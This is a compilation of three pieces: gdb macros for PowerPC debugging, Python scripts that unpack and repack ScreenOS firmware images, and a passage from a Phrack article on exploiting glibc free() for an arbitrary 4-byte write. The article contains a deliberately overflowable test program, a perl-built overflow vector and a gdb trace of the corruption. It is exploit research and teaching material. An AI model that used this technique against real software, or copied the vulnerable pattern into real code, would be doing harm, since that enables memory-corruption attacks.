info breakpoints

end

define bpc

clear $arg0

end

define bpe

enable $arg0

end

define bpd

disable $arg0

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑process information‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define stack

info stack

info frame

info args

info locals

end

define reg

printf " r00:%08X r01:%08X r02:%08X r03:%08X", $r0, $r1, $r2, $r3 printf " \t pc:%08X\n", $pc

printf " r04:%08X r05:%08X r06:%08X r07:%08X\n", $r4, $r5, $r6, $r7 printf " r08:%08X r09:%08X r10:%08X r11:%08X", $r8, $r9, $r10, $r11 printf " \t lr:%08X\n", $lr

printf " r12:%08X r13:%08X r14:%08X r15:%08X\n", $r12, $r13, $r14, $r15 printf " r16:%08X r17:%08X r18:%08X r19:%08X", $r16, $r17, $r18, $r19 printf " \tctr:%08X\n", $ctr

printf " r20:%08X r21:%08X r22:%08X r23:%08X\n", $r20, $r21, $r22, $r23 printf " r24:%08X r25:%08X r26:%08X r27:%08X", $r24, $r25, $r26, $r27 printf " \t cr:%08X\n",$cr

printf " r28:%08X r29:%08X r30:%08X r31:%08X", $r28, $r29, $r30, $r31 printf " \txer:%08X\n", $xer

end

define func

info functions

end

define var

info variables

end

define lib

info sharedlibrary

end

define sig

info signals

end

define threadice

info threads

end

define u

info udot

end

define dis

disassemble $arg0

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑hex/ascii dump address‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define hexdump

printf "%08X : ", $arg0

printf "%02X %02X %02X %02X %02X %02X %02X %02X", *(unsigned char*) / ($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), / *(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), *(unsigned char*)/ ($arg0 + 5),*(unsigned char*)($arg0+6), *(unsigned char*)($arg0 + 7) printf " ‑ "

printf "%02X %02X %02X %02X %02X %02X %02X %02X",*(unsigned char*) / ($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10), / *(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), / *(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), / *(unsigned char*)($arg0 + 15)

printf " %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",*(unsigned char*)($arg0),/ *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), / *(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), / *(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), / *(unsigned char*)($arg0 + 7),*(unsigned char*)($arg0+8), / *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/ *(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12), / *(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14), / *(unsigned char*)($arg0 + 15)

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑hex dump address‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define memdump

printf "%02X%02X%02X%02X%02X%02X%02X%02X", *(unsigned char*)/ ($arg0), *(unsigned char*)($arg0 + 1),*(unsigned char*)($arg0+2), / *(unsigned char*)($arg0 + 3),*(unsigned char*)($arg0+4), / *(unsigned char*)($arg0 + 5),*(unsigned char*)($arg0+6), / *(unsigned char*)($arg0 + 7)

printf "%02X%02X%02X%02X%02X%02X%02X%02X\n",*(unsigned char*)/ ($arg0+8), *(unsigned char*)($arg0 + 9),*(unsigned char*)($arg0+10),/ *(unsigned char*)($arg0 + 11),*(unsigned char*)($arg0+12),/ *(unsigned char*)($arg0 + 13),*(unsigned char*)($arg0+14),/ *(unsigned char*)($arg0 + 15)

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑process context‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define context

printf "\n"

printf "powerpc\n"

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑"

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑regs]\n"

reg

printf "\n"

printf "[%08X]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑", $r1

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑stack]\n"

hexdump $r1+64

hexdump $r1+48

hexdump $r1+32

hexdump $r1+16

hexdump $r1

hexdump $r1‑16

hexdump $r1‑32

hexdump $r1‑48

hexdump $r1‑64

printf "\n"

printf "[%08X]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑", $pc

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[code]\n"

x /16i $pc

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑"

printf "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\n"

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑process control‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

define n

ni

context

end

define c

continue

context

end

define go

stepi $arg0

context

end

define goto

tbreak $arg0

continue

context

end

define pret

finish

context

end

define startice

tbreak _start

r

context

end

define main

tbreak main

r

context

end

define find

set $start = (char *) $arg0

set $end = (char *) $arg1

set $pattern = (int) $arg2

set $p = $start

while $p < $end

if (*(int *) $p) == $pattern

printf "pattern 0x%x found at 0x$x\n", $pattern, $p

end

set $p++

end

end

#‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑gdb options‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

set confirm 0

set verbose off

set prompt gdb‑ppc>

set output‑radix 0x10

set input‑radix 0x10

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ScreenOS pack & unpack python scripts

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/usr/local/bin/python

#

# nodunpack.py :: ScreenOS image unpacker

#

#

# IMPORTANT:

# requires LZMA utilities

#

import sys

import subprocess

class sosunzip:

def init():

self.header

self.image

self.packed

self.out

def unpack(self):

print "Cutting off header and saving"

f = open(self.packed, 'rb')

fh = file(self.header, 'w+b')

fb = file(self.image, 'w+b')

# save header including 4 magic bytes for lzma blob

head = f.read(0x00012c04)

fh.write(head)

fh.close()

print "Header extracted"

# save lzma blob

f.seek(0x00012c04)

blob = f.read()

fb.write(blob)

f.close()

fb.close()

print "lzma blob extracted"

# fast way

# fb = open(self.image, 'r+b')

# buf = fb.read().replace(oldhead,newhead)

# fb.seek(0x0)

# fb.write(buf)

# fb.close()

# correct dictionary size

fb = open(self.image, 'r+b')

fb.seek(0x01)

print "Correcting dictionary size 00008000" fb.write(chr(0x00) + chr(0x00) + chr(0x80) + chr(0x00))

# read header and lzma blob

fb.seek(0x0)

head = fb.read(0x05)

fb.seek(0x05)

lzma = fb.read()

# write outheader, unknown size and lzma blob

fb.seek(0x00)

fb.write(head)

print "Adding uncompressed size: 0xffffffffffffffff" fb.write(chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr(0xff)+chr / (0xff)+chr(0xff)+chr(0xff))

fb.write(lzma)

fb.close()

print ("Uncompressing LZMA blob...")

mkimage = "".join(['lzcat ',self.image,' > ',self.out]) subprocess.call(mkimage, shell=True)

print "lzcat: Blob decompressed (decoder error is safe to ignore)" print "ScreenOS image file decompressed"

if __name__ == '__main__':

if len(sys.argv) != 4:

print "Usage: ./sunpack.py <packed‑image> <out‑header> <out‑image>" sys.exit(1)

else:

s = sosunzip()

s.packed = sys.argv[1]

s.header = sys.argv[2]

s.out = sys.argv[3]

s.image = "".join([sys.argv[3],'.lzma'])

s.unpack()

sys.exit(0)

#!/usr/local/bin/python

#

# nodpack.py :: ScreenOS image packer

#

#

# IMPORTANT:

# requires LZMA utilities installed!

#

import sys

import subprocess

class soszip:

def init():

self.header

self.image

self.packed

def pack(self):

print ("Compressing with LZMA...")

mklzma = "".join(["lzma", " ‑5 ",self.image]) subprocess.call(mklzma,shell=True)

print("Adding header to LZMA blob...")

mkimage = "".join(['cat ',self.header,' ',self.image,'.lzma > / ',self.packed])

subprocess.call(mkimage, shell=True)

print "Fixing dictionary size 0x00012c05: 00008000 ‑> 00200000" f = open(self.packed, 'r+b')

f.seek(0x00012c05)

f.write(chr(0x00)+ chr(0x20) + chr(0x00)+ chr(0x00))

#seek to start of file

f.seek(0x0)

head = f.read(0x00012c09)

print "Removing uncompressed size 0x00012c09: [8 bytes]" #seek past the field to remove

f.seek(0x00012c11)

bub = f.read()

# rewrite the file

f.seek(0x0)

f.write(head)

f.write(bub)

f.truncate()

f.close()

print "ScreenOS image file created"

if __name__ == '__main__':

if len(sys.argv) != 4:

print "Usage: ./nodpack.py <header> <image> <screenos‑image>" sys.exit(1)

else:

s = soszip()

s.header = sys.argv[1]

s.image = sys.argv[2]

s.packed = sys.argv[3]

s.pack()

sys.exit(0)

Exploiting DLmalloc frees in 2009

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x06 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Yet another free() exploitation technique ]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By huku ]=‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ huku <huku _at_ grhack _dot_ net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ Contents

I. Introduction

II. Brief history of glibc heap exploitation

III. Various facts regarding the glibc malloc() implementation 1. Chunk flags

2. Heaps, arenas and contiguity

3. The FIFO nature of the malloc() algorithm

4. The prev_size under our control

5. Debugging and options

IV. In depth analysis on free()'s vulnerable paths

1. Introduction

2. A trip to _int_free()

V. Controlling unsorted_chunks() return value

VI. Creating fake heap and arena headers

VII. Putting it all together

VIII. The ClamAV case

1. The bug

2. The exploit

IX. Epilogue

X. References

XI. Attachments

‑‑‑[ I. Introduction

When articles [01] and [02] were released in Phrack 57, heap exploitation techniques became a common fashion. Various heap exploits were, and are still published on various security related lists and sites. Since then, the glibc code, and especially malloc.c, evolved dramatically and eventually, various heap protection schemes were added just to make exploitation harder.

This article presents a new free() exploitation technique, different from those published at [06]. Yet, knowledge of [06] is assumed, as several concepts presented here are derived from the author's writings. Our technique makes use of 4 malloc() chunks (either directly allocated or fake ones constructed by the attacker) and achieves a '4 bytes anywhere' result. Our study focuses on the current situation of the glibc malloc() code and how one can bypass the security measures it imposes. The first two sections act as a flash back and as a rehash of older knowledge. Several important aspects regarding malloc() are also discussed. The aforementioned sections act as a foundation for the sections to follow. Finally, a real life scenario on ClamAV is presented as demonstration for our technique.

The glibc versions revised during the analysis were 2.3.6, 2.4, 2.5 and 2.6 (the latest version at the time of writing). Version 2.3.6 was chosen due to the fact that glibc versions greater or equal to 2.3.5 include additional security precautions. Examples were not tested on systems running glibc 2.2.x since it is considered quite obsolete.

This article assumes basic knowledge of malloc() internals as they are described in [01] and [02]. If you haven't read them yet then probably you should do so now. The reader is also urged to read [03], [04] and [05]. Experience on real life heap overflows is also suggested but not required.

‑‑‑[ II. Brief history of glibc heap exploitation

It is of common belief that the first person to publicly talk about heap overflows was Solar Designer back in the July of 2000. His related advisory [07], introduced the unlink() technique which was also characterized as a non‑trivial process. By that time, Solar Designer wouldn't even imagine that this would be the start of a new era in exploitation methods. It was only a year later, in the August of 2001, when a more formal standardization of the term 'heap overflow' essentially appeared, right after the release of Phrack articles [01] and [02] written by MaXX and anonymous respectively. In his article, MaXX admitted that the technique Solar Designer had published, was already known 'in the wild' and was successfully used on programs like Netscape browsers, traceroute, and slocate. A huge volume of discoveries and exploits utilizing the disclosed techniques hit the lights of publicity. Some of the most notable research done at that time were [03], [04] and [05].

In December 2003, Stefan Esser replies to some, innocent at the first sight, mail [08] announcing the availability of a dynamic library that protects against heap overflows. His own solution is very simple ‑ just check that the 'fd' and 'bk' pointers are actually pointing where they should. His idea was then adopted by glibc‑2.3.5 along with other sanity checks thus rendering the unlink() and frontlink() techniques useless. The underground, at that time, assumes that pure malloc() heap overflows are gone but researchers sit back and start doing what they knew best, audit. The community remained silent for a long time. It is obvious that certain 0day techniques were developed but people appreciated their value and denied their disclosure.

Fortunately, two persons decided to shed some light on the malloc() case. In 2005, Phatantasmal Phatasmagoria (the person responsible for the disclosure of the wilderness chunk exploitation techniques [09]) publishes the 'Malloc Malleficarum' [06]. His paper introduces 5 new ways of bypassing the restrictions imposed by the latest glibc versions and is considered quite a masterpiece even today. In May the 27th 2007, g463 publishes [10], a very interesting paper describing a new technique exploiting set_head() and the topmost chunk. With this method, one could achieve an 'almost 4 bytes almost anywhere' condition. In this article, g463 explains how his technique can be used to flip the heap onto the stack and proves it by coding a neat exploit for file(1). The community receives another excellent paper which proves that exploitation is an art.

But enough about the past. Before entering a new chapter of the malloc() history, the author would like to clarify a few details regarding malloc() internals. It's actually the very basis of what will follow.

‑‑‑[ III. Various facts regarding the glibc malloc() implementation

‑‑[ 1. Chunk flags

Probably, you are already familiar with the layout of the malloc() chunk header as well as with its 'size' and 'prev_size' fields. What is usually overlooked is the fact that apart from PREV_INUSE, the 'size' field may also contain two more flags, the IS_MMAPPED and the NON_MAIN_ARENA, the latter being the most interesting one. When the NON_MAIN_ARENA flag is set, it indicates that the chunk is part of an independent mmap()'ed memory region.

‑‑[ 2. Heaps, arenas and contiguity

The malloc() interface does not guarantee contiguity but tries to achieve it whenever possible. In fact, depending on the underlying architecture and the compilation options, contiguity checks may not even be performed. When the system is hungry for memory, if the main (the default) arena is locked and busy serving other requests (requests possibly coming from other threads of the same process), malloc() will try to allocate and initialize a new mmap()'ed region, called a 'heap'. Schematically, a heap looks like the following figure.

...+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑

| Heap hdr | Arena hdr | Chunk_1 | | Chunk_n |

...+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑

The heap starts with a, so called, heap header which is physically followed by an arena header (also called a 'malloc state' or just 'mstate'). Below, you can see the layout of these structures.

‑‑‑ snip ‑‑‑

typedef struct _heap_info {

mstate ar_ptr; /* Arena for this heap */

struct _heap_info *prev; /* Previous heap */

size_t size; /* Current size in bytes */

size_t mprotect_size; /* Mprotected size */

} heap_info;

‑‑‑ snip ‑‑‑

‑‑‑ snip ‑‑‑

struct malloc_state {

mutex_t mutex; /* Mutex for serialized access */

int flags; /* Various flags */

mfastbinptr fastbins[NFASTBINS]; /* The fastbin array */

mchunkptr top; /* The top chunk */

mchunkptr last_remainder; /* The rest of a chunk split */

mchunkptr bins[NBINS * 2 ‑ 2]; /* Normal size bins */

unsigned int binmap[BINMAPSIZE]; /* The bins[] bitmap */

struct malloc_state *next; /* Pointer to the next arena */

INTERNAL_SIZE_T system_mem; /* Allocated memory */

INTERNAL_SIZE_T max_system_mem; /* Max memory available */

};

typedef struct malloc_chunk *mchunkptr;

typedef struct malloc_chunk *mbinptr;

typedef struct malloc_chunk *mfastbinptr;

‑‑‑ snip ‑‑‑

The heap header should always be aligned to a 1Mbyte boundary and since its maximum size is 1Mbyte, the address of a chunk's heap can be easily calculated using the following formula.

‑‑‑ snip ‑‑‑

#define HEAP_MAX_SIZE (1024*1024)

#define heap_for_ptr(ptr) \

((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE‑1))) ‑‑‑ snip ‑‑‑

Notice that the arena header contains a field called 'flags'. The 3rd MSB of this integer indicates wether the arena is contiguous or not. If not, certain contiguity checks during malloc() and free() are ignored and never performed. By taking a closer look at the heap header, one can also notice that a field named 'ar_ptr' also exists, which of course, should point to the arena header of the current heap. Since the arena header physically borders the heap header, the 'ar_ptr' field can easily be calculated by adding the size of the heap_info structure to the address of the heap itself.

‑‑[ 3. The FIFO nature of the malloc() algorithm

The glibc malloc() implementation is a first fit algorithm (as opposed to best fit algorithms). That is, when the user requests N bytes, the allocator searches for the first chunk with size bigger or equal to N. Then, the chunk is split, and one half (of size N) is returned to the user while the other half plays the role of the last remainder. Additionally, due to a feature called 'unsorted chunks', the heap blocks are returned back to the user in a FIFO fashion (the most recently free()'ed blocks are first scanned). This may allow an attacker to allocate a chunk within various heap holes that may have resulted after calling free() or realloc().

‑‑‑ snip ‑‑‑

#include <stdio.h>

#include <stdlib.h>

int main() {

void *a, *b, *c;

a = malloc(16);

b = malloc(16);

fprintf(stderr, "a = %p | b = %p\n", a, b);

a = realloc(a, 32);

fprintf(stderr, "a = %p | b = %p\n", a, b);

c = malloc(16);

fprintf(stderr, "a = %p | b = %p | c = %p\n", a, b, c);

free(a);

free(b);

free(c);

return 0;

}

‑‑‑ snip ‑‑‑

This code will allocate two chunks of size 16. Then, the first chunk is realloc()'ed to a size of 32 bytes. Since the first two chunks are physically adjacent, there's not enough space to extend 'a'. The allocator will return a new chunk which, physically, resides somewhere after 'a'. Hence, a hole is created before the first chunk. When the code requests a new chunk 'c' of size 16, the allocator notices that a free chunk exists (actually, this is the most recently free()'ed chunk) which can be used to satisfy the request. The hole is returned to the user. Let's verify.

‑‑‑ snip ‑‑‑

$ ./test

a = 0x804a050 | b = 0x804a068

a = 0x804a080 | b = 0x804a068

a = 0x804a080 | b = 0x804a068 | c = 0x804a050

‑‑‑ snip ‑‑‑

Indeed, chunk 'c' and the initial 'a', have the same address.

‑‑[ 4. The prev_size under our control

A potential attacker always controls the 'prev_size' field of the next chunk even if they are unable to overwrite anything else. The 'prev_size' lies on the last 4 bytes of the usable space of the attacker's chunk. For all you C programmers, there's a function called malloc_usable_size() which returns the usable size of malloc()'ed area given the corresponding pointer. Although there's no manual page for it, glibc exports this function for the end user.

‑‑[ 5. Debugging and options

Last but not least, the signedness and size of the 'size' and 'prev_size' fields are totally configurable. You can change them by resetting the INTERNAL_SIZE_T constant. Throughout this article, the author used a x86 32bit system with a modified glibc, compiled with the default options. For more info on the glibc compilation for debugging purposes see [11], a great blog entry written by Echothrust's Chariton Karamitas (hola dude!).

‑‑‑[ IV. In depth analysis on free()'s vulnerable paths

‑‑[ 1. Introduction

Before getting into more details, the author would like to stress the fact that the technique presented here requires that the attacker is able to write null bytes. That is, this method targets read(), recv(), memcpy(), bcopy() or similar functions. The str*cpy() family of functions can only be exploited if certain conditions apply (e.g. when decoding routines like base64 etc are used). This is, actually, the only real life limitation that this technique faces.

In order to bypass the restrictions imposed by glibc an attacker must have control over at least 4 chunks. They can overflow the first one and wait until the second is freed. Then, a '4 bytes anywhere' result is achieved (an alternative technique is to create fake chunks rather than expecting them to be allocated, just read on). Finding 4 contiguous chunks in the system memory is not a serious matter. Just consider the case of a daemon allocating a buffer for each client. The attacker can force the daemon to allocate contiguous buffers into the heap by repeatedly firing up connections to the target host. This is an old technique used to stabilize the heap state (e.g in openssl‑too‑open.c). Controlling the heap memory allocation and freeing is a fundamental precondition required to build any decent heap exploit after all.

Ok, let's start the actual analysis. Consider the following piece of code.

‑‑‑ snip ‑‑‑

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

int main(int argc, char *argv[]) {

char *ptr, *c1, *c2, *c3, *c4;

int i, n, size;

if(argc != 3) {

fprintf(stderr, "%s <n> <size>\n", argv[0]);

return ‑1;

}

n = atoi(argv[1]);

size = atoi(argv[2]);

for(i = 0; i < n; i++) {

ptr = malloc(size);

fprintf(stderr, "[~] Allocated %d bytes at %p‑%p\n", size, ptr, ptr+size);

}

c1 = malloc(80);

fprintf(stderr, "[~] Chunk 1 at %p\n", c1);

c2 = malloc(80);

fprintf(stderr, "[~] Chunk 2 at %p\n", c2);

c3 = malloc(80);

fprintf(stderr, "[~] Chunk 3 at %p\n", c3);

c4 = malloc(80);

fprintf(stderr, "[~] Chunk 4 at %p\n", c4);

read(fileno(stdin), c1, 0x7fffffff); /* (1) */

fprintf(stderr, "[~] Freeing %p\n", c2);

free(c2); /* (2) */

return 0;

}

‑‑‑ snip ‑‑‑

This is a very typical situation on many programs, especially network daemons. The for() loop emulates the ability of the user to force the target program perform a number of allocations, or just indicates that a number of allocations have already taken place before the attacker is able to write into a chunk. The rest of the code allocates four contiguous chunks. Notice that the first one is under the attacker's control. At (2) the code calls free() on the second chunk, the one physically bordering the attacker's block. To see what happens from there on, one has to delve into the glibc free() internals.

When a user calls free() within the userspace, the wrapper __libc_free() is called. This wrapper is actually the function public_fREe() declared in malloc.c. Its job is to perform some basic sanity checks and then control is passed to _int_free() which does the hard work of actually freeing the chunk. The whole code of _int_free() consists of a 'if', 'else if' and 'else' block, which handles chunks depending on their properties. The 'if' part handles chunks that belong to fast bins (i.e whose size is less than 64 bytes), the 'else if' part is the one analyzed here and the one that handles bigger chunks. The last 'else' clause is used for very big chunks, those that were actually allocated by mmap().

‑‑[ 2. A trip to _int_free()

In order to fully understand the structure of _int_free(), let us examine the following snippet.

‑‑‑ snip ‑‑‑

void _int_free(...) {

...

if(...) {

/* Handle chunks of size less than 64 bytes. */

}

else if(...) {

/* Handle bigger chunks. */

}

else {

/* Handle mmap()ed chunks. */

}

}

‑‑‑ snip ‑‑‑

One should actually be interested in the 'else if' part which handles chunks of size larger than 64 bytes. This means, of course, that the exploitation method presented here works only for such chunk sizes but this is not much of a big obstacle as most everyday applications allocate chunks usually larger than this.

So, let's see what happens when _int_free() is eventually reached. Imagine that 'p' is the pointer to the second chunk (the chunk named 'c2' in the snippet of the previous section), and that the attacker controls the chunk just before the one passed to _int_free(). Notice that there are two more chunks after 'p' which are not directly accessed by the attacker. Here's a step by step guide to _int_free(). Make sure you read the comments very carefully.

‑‑‑ snip ‑‑‑

/* Let's handle chunks that have a size bigger than 64 bytes

* and that are not mmap()ed.

*/

else if(!chunk_is_mmapped(p)) {

/* Get the pointer to the chunk next to the one

* being freed. This is the pointer to the third

* chunk (named 'c3' in the code).

*/

nextchunk = chunk_at_offset(p, size);

/* 'p' (the chunk being freed) is checked whether it

* is the av‑>top (the topmost chunk of this arena).

* Under normal circumstances this test is passed.

* Freeing the wilderness chunk is not a good idea

* after all.

*/

if(__builtin_expect(p == av‑>top, 0)) {

errstr = "double free or corruption (top)";

goto errout;

}

...

...

‑‑‑ snip ‑‑‑

So, first _int_free() checks if the chunk being freed is the top chunk. This is of course false, so the attacker can ignore this test as well as the following three.

‑‑‑ snip ‑‑‑

/* Another lightweight check. Glibc checks here if

* the chunk next to the one being freed (the third

* chunk, 'c3') lies beyond the boundaries of the

* current arena. This is also kindly passed.

*/

if(__builtin_expect(contiguous(av)

&& (char *)nextchunk >= ((char *)av‑>top + chunksize(av‑>top)), 0)) { errstr = "double free or corruption (out)";

goto errout;

}

/* The PREV_INUSE flag of the third chunk is checked.

* The third chunk indicates that the second chunk

* is in use (which is the default).

*/

if(__builtin_expect(!prev_inuse(nextchunk), 0)) {

errstr = "double free or corruption (!prev)";

goto errout;

}

/* Get the size of the third chunk and check if its

* size is less than 8 bytes or more than the system

* allocated memory. This test is easily bypassed

* under normal circumstances.

*/

nextsize = chunksize(nextchunk); if(__builtin_expect(nextchunk‑>size <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av‑>system_mem, 0)) { errstr = "free(): invalid next size (normal)"; goto errout;

}

...

...

‑‑‑ snip ‑‑‑

Glibc will then check if backward consolidation should be performed. Remember that the chunk being free()'ed is the one named 'c2' and that 'c1' is under the attacker's control. Since 'c1' physically borders 'c2', backward consolidation is not feasible.

‑‑‑ snip ‑‑‑

/* Check if the chunk before 'p' (named 'c1') is in

* use and if not, consolidate backwards. This is false. * The attacker controls the first chunk and this code

* is skipped as the first chunk is considered in use

* (the PREV_INUSE flag of the second chunk is set).

*/

if(!prev_inuse(p)) {

...

...

}

‑‑‑ snip ‑‑‑

The most interesting code snippet is probably the one below:

‑‑‑ snip ‑‑‑

/* Is the third chunk the top one? If not then... */

if(nextchunk != av‑>top) {

/* Get the prev_inuse flag of the fourth chunk (i.e

* 'c4'). One must overwrite this in order for glibc * to believe that the third chunk is in use. This

* way forward consolidation is avoided.

*/

nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

...

...

/* (1) */

bck = unsorted_chunks(av);

fwd = bck‑>fd;

p‑>bk = bck;

p‑>fd = fwd;

/* The 'p' pointer is controlled by the attacker.

* It's the prev_size field of the second chunk

* which is accessible at the end of the usable

* area of the attacker's chunk.

*/

bck‑>fd = p;

fwd‑>bk = p;

...

...

}

‑‑‑ snip ‑‑‑

So, (1) is eventually reached. In case you didn't notice this is an old fashioned unlink() pointer exchange where unsorted_chunks(av)+8 gets the value of 'p'. Now recall that 'p' points to the 'prev_size' of the chunk being freed, a piece of information that the attacker controls. So assuming that the attacker somehow forces the return value of unsorted_chunks(av)+8 to point somewhere he pleases (e.g .got or .dtors) then the pointer there gets the value of 'p'. 'prev_size', being a 32bit integer, is not enough for storing any real shellcode, but it's enough for branching anywhere via JMP instructions. Let's not cope with such minor details yet, here's how one may force free() to follow the aforementioned code path.

‑‑‑ snip ‑‑‑

$ # 72 bytes of alphas for the data area of the first chunk

$ # 4 bytes prev_size of the next chunk (still in the data area) $ # 4 bytes size of the second chunk (PREV_INUSE set)

$ # 76 bytes of garbage for the second chunk's data

$ # 4 bytes size of the third chunk (PREV_INUSE set)

$ # 76 bytes of garbage for the third chunk's data

$ # 4 bytes size of the fourth chunk (PREV_INUSE set)

$ perl ‑e 'print "A" x 72,

> "\xef\xbe\xad\xde",

> "\x51\x00\x00\x00",

> "B" x 76,

> "\x51\x00\x00\x00",

> "C" x 76,

> "\x51\x00\x00\x00"' > VECTOR

$ ldd ./test

linux‑gate.so.1 => (0xb7fc0000)

libc.so.6 => /home/huku/test_builds/lib/libc.so.6 (0xb7e90000) /home/huku/test_builds/lib/ld‑linux.so.2 (0xb7fc1000) $ gdb ‑q ./test

(gdb) b _int_free

Function "_int_free" not defined.

Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (_int_free) pending.

(gdb) run 1 80 < VECTOR

Starting program: /home/huku/test 1 80 < VECTOR

[~] Allocated 80 bytes at 0x804a008‑0x804a058

[~] Chunk 1 at 0x804a060

[~] Chunk 2 at 0x804a0b0

[~] Chunk 3 at 0x804a100

[~] Chunk 4 at 0x804a150

[~] Freeing 0x804a0b0

Breakpoint 1, _int_free (av=0xb7f85140, mem=0x804a0b0) at malloc.c:4552 4552 p = mem2chunk(mem);

(gdb) step

4553 size = chunksize(p);

...

...

(gdb) step

4688 bck = unsorted_chunks(av);

(gdb) step

4689 fwd = bck‑>fd;

(gdb) step

4690 p‑>fd = fwd;

(gdb) step

4691 p‑>bk = bck;

(gdb) step

4692 if (!in_smallbin_range(size))

(gdb) step

4697 bck‑>fd = p;

(gdb) print (void *)bck‑>fd

$1 = (void *) 0xb7f85170

(gdb) print (void *)p

$2 = (void *) 0x804a0a8

(gdb) x/4bx (void *)p

0x804a0a8: 0xef 0xbe 0xad 0xde

(gdb) quit

The program is running. Exit anyway? (y or n) y

‑‑‑ snip ‑‑‑

So, 'bck‑>fd' has a value of 0xb7f85170, which is actually the 'fd' field of the first unsorted chunk. Then, 'fd' gets the value of 'p' which points to the 'prev_size' of the second chunk (called 'c2' in the code snippet). The attacker places the value 0xdeadbeef over there. Eventually, the following question arises: How can one control unsorted_chunks(av)+8? Giving arbitrary values to unsorted_chunks() may result in a '4 bytes anywhere' condition, just like the old fashioned unlink() technique.

‑‑‑[ V. Controlling unsorted_chunks() return value

The unsorted_chunks() macro is defined as follows.

‑‑‑ snip ‑‑‑

#define unsorted_chunks(M) (bin_at(M, 1))

‑‑‑ snip ‑‑‑

‑‑‑ snip ‑‑‑

#define bin_at(m, i) \

(mbinptr)(((char *)&((m)‑>bins[((i) ‑ 1) * 2])) \

‑ offsetof(struct malloc_chunk, fd))

‑‑‑ snip ‑‑‑

The 'M' and 'm' parameters of these macros refer to the arena where a chunk belongs. A real life usage of unsorted_chunks() is briefly shown below.

‑‑‑ snip ‑‑‑

ar_ptr = arena_for_chunk(p);

...
